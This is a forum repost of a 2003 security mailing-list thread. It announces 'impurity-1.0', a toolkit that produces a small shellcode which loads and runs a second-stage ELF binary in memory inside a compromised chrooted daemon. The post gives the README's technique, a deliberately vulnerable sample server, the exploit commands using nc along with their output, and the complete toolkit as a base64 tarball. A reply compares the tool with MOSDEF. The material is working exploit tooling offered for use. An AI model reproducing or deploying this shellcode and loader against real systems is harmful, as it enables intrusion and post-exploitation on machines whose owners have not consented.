Likes Likes:  0
Resultaten 1 tot 2 van de 2
Geen
  1. #1
    Alexander E. Cuttergo
    The joys of impurity (was: MOSDEF, InlineEgg)
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    The joys of impurity (was: MOSDEF, InlineEgg)

    --VV4b6MQE+OnNyhkM
    Content-Type: multipart/mixed; boundary="1SQmhf2mF2YjsYvc"
    Content-Disposition: inline


    --1SQmhf2mF2YjsYvc
    Content-Type: text/plain; charset=us-ascii
    Content-Disposition: inline
    Content-Transfer-Encoding: quoted-printable

    Hi,
    I enclose the impurity-1.0 release. The README follows. I would like to hear
    some comparisons with MOSDEF and InlineEgg; can you guys implement nmap in
    your shellcode ?
    peace,=20
    algo

    Impurity-1.0
    by Alexander E. Cuttergo <cuttergo@gmx.net>
    =09
    Concept
    Impurity is a set of scripts which make it easy to produce a
    shellcode ("first stage") which is able to download over the net an=20
    executable ELF file ("second stage") and execute it without writing it to
    the disk first. The first stage shellcode itself is almost constant (except=
    =20
    for one parameter, the executable length) and very short - 46 bytes. Using=
    =20
    this approach, one does not waste hours composing and debugging a complex=
    =20
    shellcode - just write a .c program, run impurity (which creates the second
    stage ELF binary) and you are all set.
    Impurity is mostly useful when exploiting a daemon which runs
    chrooted and with dropped privileges; in such case one cannot simply execute
    /bin/sh. Compare it with MOSDEF and InlineEgg.
    Currently impurity is implemented for Linux/i386 only; however,=20
    porting to other OS/architectures should be trivial, provided they use ELF=
    =20
    standard.

    License
    GPL v2

    Theory of operation
    In order to be able to execute an ELF binary easily, we will have to
    compile it (more precisely, link it) in a special way.=20
    1) In order to not be troubled by shared libraries, we will link the binary
    statically.
    2) An usual executable text segment is mapped at 0x8048000. In our case,
    this area is occupied by the text segment of an overflown binary. We could
    unmap() it, but this would make our shellcode unnecessarily large. The
    solution - use a linker script which will place the text segment starting at
    different address. We will use 0xbfff1000 - it is within the stack, so all
    we need to allocate memory for our executable is to do=20
    "movl $0xbfff1000, %esp". This also means we will need an executable stack -
    this should not be a problem usually. Enhancing shellcode in a way which
    allocates memory for our ELF by mmap(...,PROT_EXEC,...) is left as an
    excercise for a reader.
    Moreover, in order to consequently simplify our first stage shellcode,
    command line arguments and environment are not set, dereferencing them will
    cause a SIGSEGV most likely. It is easily fixable in the second stage itself
    (see tracepath.c example).
    3) In a normal executable, the text and data segments are in disjoint memory
    areas, with different permissions. This again complicates the loading
    process. To avoid it, we will link our ELF executable as impure executable
    (ld -N).
    4) Binaries linked statically with recent glibc are large. This is usually
    not a problem - during the bruteforcing stage of an exploit, we do not need
    to send the binary at all to determine whether the correct offset has been
    found. Anyway, "diet libc" is recommended - small programs linked with diet
    libc are usually in 2k-30k size range. The provided shellcode (bootcode.S)
    uses an unsigned short to store the executable length, thus limiting the
    ELF binary to 64k (bla bla excercise for a reader bla).
    5) The first stage shellcode downloads the second stage ELF binary from file
    descriptor 0. It should not be difficult to add code which utilizes "find
    socket shellcode", or just creates appropriate socket itself. Excercise,
    reader, make bucks by selling this enhancement, bla.

    Having 1-5 in mind, executing an ELF is really simple - just read
    appropriate number of bytes from fd 0 into memory starting at 0xbfff1000,
    and then jump to 0xbfff1074, where the entry point should be. Execve()
    demystified

    Provided code
    bootcode.S - first stage shellcode
    bootstrap.c - trivial stub which emits to stdout asm from bootcode.S,
    adjusting file length u16 in its body
    filesize.c - a helper which prints the file size to stdout
    script-ld-impure-into-stack - a proper ld script
    tracepath.c - a sample second stage. It is almost a verbatim copy of
    tracepath.c from iputils; the only changes are a few lines to
    prepare a command line and environment.
    shelix.c - a sample program, vulnerable to a buffer overflow. It does
    chroot(/var/empty) and setuid(12345), so we cannot break out of chroot nor
    execute /bin/sh; also we have no writeable directory to download any
    executable to. As an example, we use impurity to produce a second stage=20
    based on tracepath, hoping to learn the DMZ layout. Yes, we can use nmap (or
    linux_autorooter.0227) as the second stage easily.

    Running a sample code
    You have to install diet libc (http://www.fefe.de/dietlibc/) first.
    1) Run "make"
    2) Run "shelix" as root via [x]inetd or "nc -l -p shelix_port -e ./shelix"
    3) "make" produces "ovdata" file, which contains buffer overflow payload and
    the first stage shellcode, so:
    $ (cat ovdata ; sleep 1; cat tracepath; cat) | nc localhost shelix_port
    Shelix: got token length 2
    Shelix: got token length 2
    Shelix: got token length 2
    Shelix: got token length 2
    Shelix: got token length 2
    Shelix: got token length 2
    Shelix: got token length 2
    Shelix: got token length 46
    Second stage OK. Which ipaddr should I try ?
    c.d.40.1 <- entered from stdin
    1?: [LOCALHOST] pmtu 1500
    1: x.y.131.57 2.127ms
    2?: x.y.20.176
    3?: a.b.40.5
    4?: c.d.40.1
    Resume: pmtu 1500 hops 4 back 4

    Again, if you want to use a different second stage, all you need is to comp=
    ile
    its sources instead of tracepath.c . If attacking a different vulnerable
    daemon, you will need to change the overflow payload creation ("ovdata"
    target in Makefile), but no need to touch any assembly.

    --1SQmhf2mF2YjsYvc
    Content-Type: application/x-gzip
    Content-Disposition: attachment; filename="impurity-1.0.tgz"
    Content-Transfer-Encoding: base64

    H4sIAFnWgT8AA+w8a3faSJb5Cr+i4u4kQEBGYDsZY5zx2jjhdG K8GE/PTNpHU0iFUUeoWD1s
    Mz3e37731kMqCXB6dzM9Z8823Y2lW/dVt27dR0m0v1imkZ+sWrbV3n32z/m023vtN2/24W+7
    /eZgr/BXfZ4Bwl67u9+1bftZ2+7s7+8/I/v/JH0KnzROaETIs5BFtzTYjve18f+jH99c/0/0
    C5v5AfvGMtp2u31QWndj/e19W69/d68LC9+29zqd9jPS/sZ6bPz8P19/GgSHZMp5EicRXRL4
    ctmSJnMSz1ngPxB+59GEEvSK2P87q1YzXIPM4uLa5R6zeLVy67 qkxQ2uWxCr+fVhDr9SDFwT
    VLVcQMpGvj+qVjNVD3OtLbda8XyWEIH3Y9BsTZqxG/nLpBV4LeHrrOWHCW/BqrtfUMt8xgYX
    0ooJoiS+W/1ui6DvDEm/gk1VGvRQGdawk7J0Bq9qYx9mZjewNcgcq8pV2ryQ2dJ9B5dRnD QR
    EqSAMmdkms5mLKpWliwKSIuRV8sIzEN2dnceup1XFVKpHBPlA0 Af8wUjF6PLeJ3gpwc2/emh
    bQPh21dAdZxT+WHMooTwNJIKELDILRPzDXB5qxVrN1f8b9ZuNs VsEn8rMGQLPyEhuw/8kDXJ
    /dx358SPAcI85pEEFoNFCz+kCSM7s1uWxDugg7YveAhz57yCn5x p1Q0YDcHBogVpzUgDHLXx
    n2Xn1yuV2zZTu/qv3sf/008h/huu+y1liPi/ty3+2wf73X2d/9sH3TbG/zftvd/j/2/x2W1U
    SaMQ1whCKpXJHLbUMuK3EV3g7ppFDDYAnyX3NGI9suIpcWlIIu b5sAP8aQq7DbYlDb1dHgkO
    C+75sxUC09BjkYg3uDNjwmfi5v3FNXnPwLA0IJfpNPBd8tF3GY QLQU9BPkJh13lkuhIk56jF
    ldKCnHPgDNGVhz3CfBiPyB2LYrgXDDpakOLaJDwiNZqg8hHhSy Ssg8YrEkCsyGgtaQJykiZz
    HsWHlZOAPbAV+SH9ewjBhN81ydEXcf3HRdyx/DCyqGtF6TEQ7Va/80M3SD1Gjmi82E1WSxZb
    82MDHCeez9dAgT8twtIQ7OqV8FbxbszdLywpwiEQpg+7LIr+I2 UpK44BNFwTBzH7tgiD2XjT
    NRAE2GTXD4vwiMU8uFvXLPEXbB2alidLoyXdRcYlXP82pAHCQL 3UTcgcHDDh0ar6S7UCKaYy
    58u4V62oURR2B34Ts9DD6171sVctkxL4+/lg76ZXxRwFN8skyrHQktTzIgeSA8QASBS9quOk
    9gGZ0pg5Sx4BoOryEFIW0nPwjzmjHumTzlvJcpGkcHewDxFMyQ AlHchAfdKyDcgs4gsDFnJH
    GpEBsJ1rBNttyuZehFMGTbodkiTB+pyTOznbO+57BDOUc0/9pIacZ14diWeeEzO822AxpK6c
    nzl/HYxHtZeAUpf3V4NJbeY1iQYld1ZyB2xc0NHO7lMJaCNfFjA3AZ rXtqRqkovrjx/198vk
    Dtg8VsWMI+aC9SKlY1PYE+ZWV4sL44am2gwkcu+gQIEBdw4x2o Xrz/t25ybH9GFNXIJ/ctgi
    vkVa+JPDXAVsuAUweoDDHhLwIeY5oB9psOKo9g/8u8WUJVgjYomA47TigCc9PcNEebAYCD3j
    ToRZFsfKRQRsGvEvLHQiDoEVRVcBAbw0gRplwRawurWX0jxNoG kSrE/4rCZBdVw/MIoF/zno
    zMD4ZWZMPRCwEOBFQhgGC1nwnxPSBdLVwBHfNuovlQXM0QIDHD fJQQJKlUtjACWRbQBnAb2N
    lU9pGOy6JOIBQF2pdGmgINqVmkOJDKaHZeAzj65q4H/SFVErMB7goxcCE+nmcNEkn67eO4Px
    +N+vB9cDYbQZqSHuEWnXCfimAIgQSvp9Mjh5fzK8qAMYGCZpFG YrB6SVWw4bX60S3IPnV4yF
    hVCBKio30Cut/EDfosFRZaExuFF+i54Ed9C6zGNhayv2QxGj6qRlBiyhMWIf99v k5UvhgjCd
    gy7eYDxEwI2FUuUMcxWKozglrcTLfCgPuJVKkUAt4WO1UvBdBd aW7ZddLrezBFgQFxCrTf7x
    D6JBeSzq65VZk4IGrDwSFoC/C4R8Zjnnnlo8Oa2MvSCVazbDIgHjBCCcon+cD8dXkw9n4xq6
    TL0ngon81hgXf87Gm2LAmBTeto7xGzbcHRNTuxp9dIaXaholJK wYEGd46YwHp38C51R4wjlq
    2yNXXepydjI5EfzqYqrKHtuFTCYftYDcNxsYqBv1Jxj+QgSJ6P 5mtR0cP3zh/RSSHWkBQxCY
    TBBqE8s9heLF7hTCNR/YZ3444z+FO3Xlf7jLlFsJutYxYw6P/FuIysKUzmDgjMbD98ML5+Po
    9KTE8EXHe3dIXrTs/RhVAw9okp3PAvHD6GpyI+QYRnqS//D0k1o1kZAoJiS78xYT0qak0YiR
    R2HN1FCjXmOvbRGzKlgKObCvl7WTc2d4MZhAbALC1jFucMRvCk FZiKcqwCv/Uk5+3BZhyZj2
    IcEJq2FhTZxkCQlsI62iGdae58WJ8gsx15mYbGf/QExWz3bOY3DBhDTmAjqbBWk8h/l6sCel
    u8zBALfoV3EyXeFsajXBD9y1PEs1vwK03iTKKpJdHCrlZwWbiD vA3XkRk9qLuA5zmpN3ZN46
    nss8dqhsSFWSM4zQ2u8I15hlY2YMydGUB+VYMlzIuCY2DkRcI5 hJ2FH/YE8nDLW5DvZbeTFQ
    yTwvIwCPKlHYnT+USYoIsC4mgukXMgto1Of9zCPM2dF4tVgQ8A ecocKtF7RTVEdlbqKI+xWc
    DFNBXSitBI4DHeIMt0gW4FsCoXUs7+oNWx4SvK7l5aeBgrdCz2 yZup71ot31FmKtkPsucpCX
    L/Cyrg1USB+FOdRE7yvHiUovMhJBI+ryKEqXCVwt6Srg1KuTHT3B +N5P3LkOIqJsEFN1sQQb
    TIafBmej68mhoa8OdNOI0S89jQlh92r414GJuMRWAwMsTEuyxz gpaGUTkgOlPYqFR1nC6eji
    Yjw4v74anJlSAMeFbltrlXcz+fK/wyWH/ZRXsBWzxTG80AjeUujleDQZmeKeX24I9BIXg/M1
    qHhy+uFQl2FfC83gmoBK4CNRdZaz7fIIHjuapUR5OTJriayVqf thq7oQoAxtM4KLrQQnp6eD
    qwLuyQZcj81oGiSbPEYVpcTwNbHwcMWj2g4oRKB2GI03JdJipa paNNF1ObC4W5s0X3disPaY
    DcCzjF4s69oa+JWnPQ1v1CUZJhrVwUhAs90ETpiA8hZHFGF+v9 0j/pGN369f50FDNIvod14E
    UQCrRdUnV2Qbn5XGWNMm0L/XsvqYvFbHAMIqxX5BsjOaBlHfSvSswlWCzBFdEaM0ySKLwTjC
    Rbuhpoq7saUPEpoEAlO5OoBWS84iS27yFkrKYyKTfOaceVeDvT WKkZl8o+ZtrRVQ9ftts4sx
    hzIpa+1MRTLEpVVXr4ldf3nQ7anYjkslVyk/lJh59Zy5e1ewhU744rYum7Gz0cXkx5PhRM62
    lINFvRKxZbDCSTP/DqLw27qIiXrihSk95p6/wUiyQTPrJVwvqAP8gHkm05zlIx7V4OMcIs5e
    0pjeshpe1onj0ESdg9ZqIZc0ok7bQiHOaZR8qJhAOahfrnHceM 5EPrfCG3LkwTLgAw2fh8ef
    d4/Qk49vVCRgD2Dmlp2dtVR54C2oH4ptDK7jQkEuKq4G3NwJsWvVG 1OHDjNPXfBQXUh/lwyW
    CubOccXv52AnguWcLPH4MqlJcSgH5hLO3+2A10KRMBidq15TJE ggUVU0hsJX4avDCq5c4VTM
    LoZhHQhJr5KXXiiNtPriJDdEzVEweZ0DpFsKNNDCRreWC4DLgq dkmNnEeWpee1+NTn9wzt6P
    Tz7B9tRHAoCZnQjoCCsJVTDGNbClU5lBaEYXPjhrXxexqNIShS aRO49Qs7vP7ZsmebX7Sota
    SimNpd6yeezqE5pwv7Z8bedNSwlhDz8wOGdm3Y0lsBam5cxLHd hcTatAtGF2ELrdJZ6u5LOU
    5fucYbUtr/dEO8Gx+4EW8/LT5PpseHUKm1ufT+A5uvsFXQY3pOyHm4gLqA7ijqDzhUaIh1mY
    4LCbiitQQt+gLNdnTU8LVY32r5CnMDeI+roE6LR/pQTAXJegkiJsyL7dw3151O2Iv2upsaKz
    NVwJC6ik9bSKT6hn6pfpZigntCvk7K6RslWayusLM1GZ50Iy78 jE4/GQFcZ1WjJLMyNrHZFN
    DXDIZbowo/ljHvWxICQTzskCHwJhnjwkZqEtyxJU5bBENGZxumAZNsmQ5d6S dfOxzLKaUORh
    iasQCvhYQJcopviOgkGBKEhTqgXFQrRFAsAjIUhVGK8bDcLCOz/CUC6eVWBOEOFfRnPYv/Fn
    fDYi7/0lbl3d4UuUxQo4fLZv+r+0H3vV3Qa55MhJsV1g7oCloiSmISPL AHIWPgGrqPG+IMcC
    UTzaqV0N318OLwfgdEPI8+cfzZlcMZdD7pVvBox+sMiP8qm+UI rEc54GHhlCXlyRd2rWsUtD
    XOgYrCPxMOigkrDk+HTQ5QtYV4/gawJCLzHj9k1/J0uvOz0FhTnutMLstnPTlyw1oHsDfo3M
    T2kQENmD0EDZVDDXWbcr8l8sVuNf/XD3V3wKz/+zV0q+6eP/r73/1d4/OFDP//fedDoH+Px/
    f9/+/fn/b/F5+rk0Pm+G6hWhT5eUuokBZPiCgKPqruf9jkgCa4VuKgvdF7F4 uwZrDRFxjSIl
    Sy+PghuyljWMfYMnpInMTVk1BsM7G8msOHHE2zvH8kHtZn3OsZ hNIBUEWNdYBF+FxFcX4gVs
    eBbhmwOwVSJo3YzX0sz4K0Vm6cfDs9dMNowVmoh/9arnn8L+z2f2TWV8bf8fHNhq/3f22/ie
    EOz/dvf3/f9bfKwESoaqdRvwKeQzXHzR8Bcg0BVn97BXoVNg2T0eEPBZNSO EQumBRwF5waYP
    TfENLQO/ywHeQ1XxOBQj9+T79sOUTpkalAwPFRWOzWYzcCAbx90HPBNzA3 WpGLuCcbyEaJDG
    cznmQQdOvcOScCqJpuT7rrytyI4WxLxtQ+cGsgVY4/4MQcHjuL+h3kinQTYIilagPsgBqI4i
    9zKMn0MkR0WkasZ83uyJc4Wq5H6o1bK15FwrtQKAEvJl5VuHjr X9L9/T/fbv/z2x/9902uX9
    /6Z78Pv+/y0+qmEQh1PK02r1Zh4I8EbtV7yUuxPPTzYUDl85dUpDbASYh+V 8lCDXXvGARpYK
    67n5vb9YMPEiH9DcJnN8rU+8PYxPOcjz7ETcbMflCyLivEQVDb rZeg5DWwRBNQL7MYa2EdTj
    /Au0DlAFUBKmiymL8gJFMisKvIddxGq2YbrMcKSVAxE7Q1XjTZi 5CX4J8DJMGr6p1whYSkj5
    fPK/u/6F/f/Eq/L/Gx97ev/be92s/u/s77U7gP/mzcHv+f83+YyuJ5fXE+d8NP50MqntsGDW
    7bT87tsD8PXCXVU8PiMFYL2qyE/Gpx9qCKpXBxeT8V9qjnT26tUAh5yz4bi2s5vG0S4itSLm
    zSn4mXhtNfCnsH/JGuZWOHdpsHFUwrBLP+PknokfBIjXe+VrwDEjeEQF+r+rwkQc5 +wvFyef
    hqfioBWnBm381eB0MhxdXEG8IgQYjSF3t3gYrEjMXDx+j5tkAZ 4AjHFvEKyeYOgWz0IOgQEB
    MgsZ6rKlTV4TfJY7Onc+DE7OBuOrHqIAMYuWRH8OyS+kUVPQOn lElDmFWoaUURCqELxVGK8W
    ZQQJNVCSaBNKEimU2zC11IvPBooBXcdzvE14jrcBM9qIqWVHLI A5Q5dVUE9DcyRqYOVItIQl
    Stl1VgKaXVkNeY3qgP994aHLLICawnI+prCMDzUZ0Sc4WTNQcF 0hhJricixTXBHLirj4KUqJ
    lYIa1xvnFxXnl/MyBRq8aJEZfYKblalVUCxXa6tSXlGpnI+plKHSdoUKnKwEEStF F8jVSbbq
    k5QUWudDDUa0wKnsBSWNpnFcUggg+dhmdaYldcpMaM6FmmzKuh T4WG7Co3htuQTUlJajmQJL
    aJa3kZlXZuZtZFZCs2653rwmM4CarHIkk1UByUKrrDPKLL7N4C V751xMSbnFtxq8aO9lsGlW
    ADVl5UimrBzJiJECCWCYnwj5YTC4JDWROSAS1gH2SPrthz+05T 9IayhgCMh5G0GzyBuwZMiL
    k3RKspi3Fu4E8q4auadR6Ie3WbYkeBA/p6EXYN2/ZK5PA0im0xURZYTFFpbIu0qgwWLjZIyA
    usUQImxuor0cj/40PBvg++xMzKtPrHqvMLAFXgSbkdhcMR09s8C5LWYKBHsjua1w 2NyZRXTB
    HHyTRmGYMIkGNj/xfob6VbRG+LQCX/jCEgfvhTqqMgEb/8jIPVXPayQR/gKUC+MJ/Bhfk9RM
    7v1kjr+KAfgSn8hweR2iIQQgXep1w2rH6kl1BmEMXYNAdZxlxN ArHRpFdCXrQRLQKQuI/GEZ
    /oJ0RWggekKhoVTGFc96fChR8Lc2CzxxFa2fIPUYLjC6FmL4nhx T3tYk0zTJZ4TGZxG5F/wA
    EBI3YvijUIOEsDuAQ1sIGwybqJjwNMnsMmWELZbJKv+RafgKX2 hiSbIy53/ycfj+otbtkF3y
    tuRTG82Q+VJhsLA/zQG53Ft5Yju47szOdqmbRT4h7+vCcFU2C8tHTGE5dE2YwcoUZh V2XSlQ
    yb23ced5OkRdjcaT2inU9pPx9elkNL4SUUJztg3Oqko2NmSpFl BlQLJRoJH8Rc42yET20Kl6
    Q5ZGHHxqmRXdetMbmmWRTo/Vddntug57cNkycRI6DVg+k/JI3hzQhe+Wpy2hCscoF4pGh92O
    P0hPYxbDtkqm7NYPLY7hBdbPk1tMOAKfVRUxwsSv6fBREbBtkl i0aQt81CICB2xCP9bo4rfi
    sMv+jbkUxAA5xA34l0J0CjyXRviGYqKx8dwGN+eCJvi6ri9/+Al0UXako1Gpm6QiC6H1Cb2l
    GGuMSfSQVCNnQQSZizMhDLDyN+E4W5AHgYFqdK0a6D0B+foWwh zMdcEoBJgEWt/tistA4/kR
    c8UvGHO1NAFaIcyzpvKHHK+myrQsMf+Ih9AoQicAfXKHFhLIWT TEFwwy++MLvWLNIvyZiSX/
    1wMkDRM/IHSWqF/0xjzCl6GFTEvTTjZyNrhJXvhjLrS+aXAchH5dOt6CRmh9fIoPv rHAtDXF
    VAB/i9OvDf58+vH6bOCcDz8OpDmkznVSMIdGF8FAjsDGKw0aFHKjbN sEG2zvbRD2hG6b0KVu
    3hbdvKJuP7t5e1+OEDCWBQe+qQoEqKwE5bXEdZiIbiqr51WQho po7DgQxfJQLwK0UXcXzCSD
    CozW1Z0Ig5ui4FTF6gbE6U+fRhf/1d61/rZtJPHP2r9iIdwHCZVoSZbjIs49comTC5Bcg/he
    vSIIVtTaZi2RKpe0LeD6v9/8ZnbJpaS0OKDIIYAItDCXq33Ma2dmZyb8AjUHSoJmVyqRrw1a
    hhHNh8cLdFakab3JiOHdBuEokZKjcZwQ38hgQsD803ZIxPbTOK KUcHhLUA9aAu3Mtsyc2Wys
    IfJYNGIKy4Tay7lMm7pqlOGGaQ/qDD9/TpkIx2AXHdHRSBC6IsHuSDta1Dc3sf7daCmEqkWL
    m0mgADR7EsGfrbOo06P1FuEtobNktd+Jm3e78YD73XYGpBPDPu 4PyM17/TDkgX7tkDhBgbud
    jfjmRnd++c/nH14JyFpwCZKvtutFsYKcZQKLet7sGTcw1arsnimTK6pAEsCAk aF8BYJAMHLi
    cR+0rzXR8CQgqVnU1CNNFrePNW73u+XopgN90N7sFZUWwtCcNe h4/dEsn1yZInlkd5bQHnQG
    abtGwIbb7yvtOyCeJlOW4PI268xqSpPfHBjJt3dm3dQLmXanb2 jfmbY7kextD4jS3pVCD1mj
    wPnFLBalvd//rbR3ujbY2OnaYsM3NGrdTkdR6TrADjy5C+yG4P0URXqwH7V3+q 3NYUT79gaK
    V6/fnLx78/6qAednCOfBmruDeGk+dDde5+nB7s2HTnfk8Bzs3nzodL835WHS DB/Q+6sIzPtC
    T/f+z5dI+o3n+NX4n9PTpv7POf5G/bfj/d8XeQ5c4/u6IsWn9LYsiopjhv2f/RPioxP2ieCm
    zdmqzpaD6ex0fib5J7tBxiSk3A+nsyakmJOICeVtjPGmKkf0fw jY32tfoALR60g/WyLotqd6
    0VronUt6DTiDaMa5nVh5zrflkpIiSUqsFQwwsORX+AwULIg+ff PNR8SkSxLTBSdcVKFUQc+v
    pv36s2p+yIHAbax79gyZJoh1j+K2r3ypN2jdFWeR+sAFH1dOY1 HDQIb8yNU6dlKne19KSHX4
    /8Pl85fvLn/zOX7l/n82O5+19T8niP89nc9nR/7/Ek/vTUQAqrfYalS7Mlyw6zLRL2p4JW4K
    /Sz1f/3pZv2Y5Lb6AxjzBRSmTaWaUcRBg9pDiNHhcBLnfRprH1FrjdtC Wd6UxbImE82ophKg
    HvSjCoH9YVvbjx1anBbykCPpmosxeZ80io5pZR8tLZH7Xb59Jf 6FQd9FeQX9Iauh0pGXAjc3
    /L2IsoFin7Hrl73nmbsLHig4Mw4WLqT+zq6ueX2rdQEnEtxb8LI MxN+mFQRFgewIA8WOIDji
    VUerFdEga6NNbX141FjPn+jFtrJkw/3dYXWKPWBkb5aFSW9HPGwTrvRgHO2JdkOmKFk6m4J/
    gjFbu8XwF0KvjkA+1nwbwIFG1CNJQ9G3kS7rXAf5oAeCC3Ghu2 DUEHCVQAVAX2S5KbeyFRSI
    g32EfAmih6RLI4DWagv/3HW9IjSTiLSPm1UheDB6aeyazCWZk9bh/AnEAR1LRpxelgXZ3kta
    b3ZP2CZz4YLrPNZYJjILAaDU5ACPo33QfB736oRWStoO0TcBxJ QNMeh33129vHzFc7zJobRf
    3tzQ0l/UZUm2I42QRZvAmBY2JS0CeH7L8SyIcNEIGbkgdDzYe6BcIT0PO yMSLrhO3XdXJ6ZM
    bwnoaVUjgcnnuCxQ9ZL2Y1YjIOI+45KWt5ZhxUAGvPMlfIxK9U K9vN7r92/1/YxaiFrhNyT2
    ww0Lp4wS6HNdlFyDr8AMgZsCKxD/tOgDg2Yr3Hmw/3Klbw1btwrEA64iWA3WBQGNjsk0Iw6g
    vuxKRTAGamWFiz4iym2i1XSo4/mBDt5lUS9WUtnPkSZgkaizKE2Z***OzeOyWc1r87m08N4m
    ajbUz3MCS00zRfwUh+QwqRmmEhjaj99O5t/SkZPwguqSyWTk+YoIG929A6mpONgZjqBKsILs
    uV6RJPKrSuBi5WsrVec03YDAUPFllDit5QaK5R8mbXmvznObWu do03BHS+YBIVC5YlWzv2DM
    aDfBDS0S1bMFA0iyrvYWyp45ZqVKofSFBfmG6z1eL/8ag0ehSmPxwMfXfxz8x556AroKQVUV
    vxYpbtPWxKlENSzoaHcRJjInIlur/k4w90QCtvvYLUvPxjseEO9jt+LhfMleQZdnF09MhrML
    iRmFHIg69GV+a/KU3TWtvAZxElEKAFXYgtvdAzPDVq+ByyRJRihc8enyX5cvRvQ2 xL5W9prA
    SSvPFSR9CT7wNwMI97Zlot4RixTM/VlE/Tgh7E+1CBOWSqiR+dnauCPVyWIjCqmBXycnWZSH
    Jw5HEABRHs1lGeW8f/YzAahKPJQGCXhXl6//wVKYY1wBsDeMemF+WsyjoDCPJL1fnJx6auCs
    7RQ7JrUBAnGYqFPmeEMLKtcd5hy1lMpHU3RHLd60jH2qP3KaoS BFgTEhEVjkN6S8QYlf58TH
    KUSEixw54bK0OaOgLMAZR/SRMun/jUiXDRywaEfMBMxHJGecCPz4wFYDorvxX2mb86H+MwQA
    3M3MoAwhL59kwShTQKu9IdGW8gYbJpfLLE+uCqhriXisl3XpUa cXJYloIi2hZcaAiCF/YPIu
    liJXwTWKqIwLGbRiE8IP5zC40UpxZItDl08iuZYTx3dxfQ3d7d bAn21z0l5q+Myf51vimpHu
    c8Vr7KWPxdNP2KeKI2osmVJBeWgA4tFmK9WAwO8ZuJ7djU8nd5 xwrNnjJ9pWc/BFmmGbmzRU
    fOtIENiJKMfGq8IHIOxpWKC9Gutai5IBl3506tGPn8zvaJ6V0f jvMFvjE2H+bPgLWmHQUd0+
    60Tz8YUYtFS1tCLWaZoJs2FXtoHms7Re+dgNCdP3RwAdEiuCnd N93LoqKUnQLqXPFW9Zvwt6
    G6uPpDFBcvvuws8kMcOOR0o2O5Iza1Gnd46PaRpWIAdBwfKV1Z 8RoELayF/MPT5Px2fALRHZ
    cuTRILoob5/phvHP0q9RQDlLJl6dBN2D1lkL9gBb6olE3nqRHR100Uk2Uib3M R8/1mvcAek2
    8QbRHDZQSY6U4g3Lm0YDAyhQLmQwJNyst67KrqEQXAxJvXofSJ Mrl7dESds4XNw8yqmhPl63
    0xxTJThENXMntAvbn2TOWvbaDj5CshGghI2yZeP9CShWS6DGAI tiuVVtAi/NZTQtYtPcKbNz
    QmiSh5AK62Fa9Ytl8kU2YSwCkPRUnTr3nATO6IzpPRwq3joysG 8WJCDXBL0NdFTVi0fhXWcb
    ELXjS3hWo5FHwncEbE3oa/vAZyFAhvxxyfU23WzvndMxUcGzGa+0sXPu6xWKUHul2Pii+I2a
    x7uAoRW8YK0TTEydjhssRDV4w4OrFXBQES61+fc4FlVQvb0lci E60IMVbTsvxCDjNbXBALEB
    bPJtbPNWBYlpJ8cCb4+PBRz3jcUS29xdsaRQQmTJUV4BHVxxwF ssK2tKfxP27t90gpFpR2bx
    915PRxVwzAPNVw9oaxzW/8nUtGRYbGUymc3OhzhL9+ShaBswZD7UfGnWYoeZ53syIr35wRF h
    OGGaM0gPbqtq8/Tk5OHhIbkmhSdZ2hN8xceToTffYX7Q4LoPWdaH0cBvQhB9rIpx Qlypf3j8
    iGKMSwjNfk60stLjjS/6LwVWxlYn3kveh5YjgwawkhiWfzGgzxwWosaaKIcdugoF5EBDq vrc
    cQJ6eqp+pwek04R/kOBCu5W1Gz290GhtkMavQ/0fTYvnNAlUcok3oD7rmZx9zZ/mT9T/UkBC
    pckymU+Saa/XezbGGWBhfrL4YV+y0tM/PtVRlVC+V+NaH9OzyYQ+P9X6Mdkm09NpcnaOj7Nk
    OjtfO6Vn9Et8mtH450+UPqV3kyww35nSc3oLs8sFcaeSCEbnUh 96rrn4x1yp59BrRwhCgEsl
    xPCIIt/qwzFbjVjZQ2+2osQM89a7wlnhSNUFuYYgS1xSR3KYBB4pmBVEv/fGNNO0olKJi2Yk
    q2pMNszE8lrk9y6psxoCw3YQWEVJISEcY+GfHxqK7UxCMAxZFX DqIJXHOGfXC8iM/7fn9Pgc
    n+NzfI7P8Tk+x+f4HJ/jc3y+rue/EpkFWAB4AAA=

    --1SQmhf2mF2YjsYvc
    Content-Type: text/plain; charset=us-ascii
    Content-Disposition: attachment; filename="impurity-1.0.tgz.asc"

    -----BEGIN PGP SIGNATURE-----
    Version: GnuPG v1.2.1 (GNU/Linux)

    iD8DBQA/fl0zP2KVJkEIREsRAsX2AJ9Y41C1YISESNwljA/AoJATxfPKGgCfdMeX
    RpOgRZvyoRaHuPIFKnpWsik=
    =WzvC
    -----END PGP SIGNATURE-----

    --1SQmhf2mF2YjsYvc--

    --VV4b6MQE+OnNyhkM
    Content-Type: application/pgp-signature
    Content-Disposition: inline

    -----BEGIN PGP SIGNATURE-----
    Version: GnuPG v1.2.1 (GNU/Linux)

    iD8DBQE/gdkLP2KVJkEIREsRAgXGAJ4vRkH/CRmoA48oHYdR4Z6dprR99QCeJzzD
    2rtFkAGUXByd2kCTJiGSIM0=
    =kSoO
    -----END PGP SIGNATURE-----

    --VV4b6MQE+OnNyhkM--

  2. #2
    The joys of impurity (was: MOSDEF, InlineEgg)
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: The joys of impurity (was: MOSDEF, InlineEgg)

    In-Reply-To: <20031006210520.GA3033@gmx.net>

    Well, MOSDEF is fairly far along, but the C compiler is not quite done, so no, you can't compile nmap and send it over for execution.

    Of course, that's not even an intended application. MOSDEF doesn't attach stdin and stdout to anything in particular. All communication with the little shellcode stubs you send over is done via an included "sendbuffer, sendint, sendstring" API. This is so
    you can transparantly spawn two (or more) little shellcodes at once and not have them interleave their data over the socket as they send data back to you.

    Most of a MOSDEF application is actually written in Python. Only loops and other sorts of small things are sent over for execution. This is because it makes sense to have high-level decision making done by a "decision making entity" with access to the lar
    ger picture. It's also non-optimal to break into a client's box in China and then have to send a meg of static binary across to it before you can do anything.

    Another benefit of this design is that you won't have to collect staticly linked binaries that happen to work on every architecture you want to hack. MOSDEF is a lot like GCC and a sourceforge subscription in that regard.

    Of course, impurity is working right now, for small things, and MOSDEF needs to get another 40 hours or so before [#include,while,for,if,struct] are done, so for the "where do you want to go today?" question impurity might be the right answer.

    Dave Aitel
    Immunity, Inc.
    "Where do you want to go tomarrow?"

    >Hi,
    >I enclose the impurity-1.0 release. The README follows. I would like to hear
    >some comparisons with MOSDEF and InlineEgg; can you guys implement nmap in
    >your shellcode ?
    >peace,=20
    >algo
    >
    > Impurity-1.0
    > by Alexander E. Cuttergo <cuttergo@gmx.net>
    >=09
    > Concept
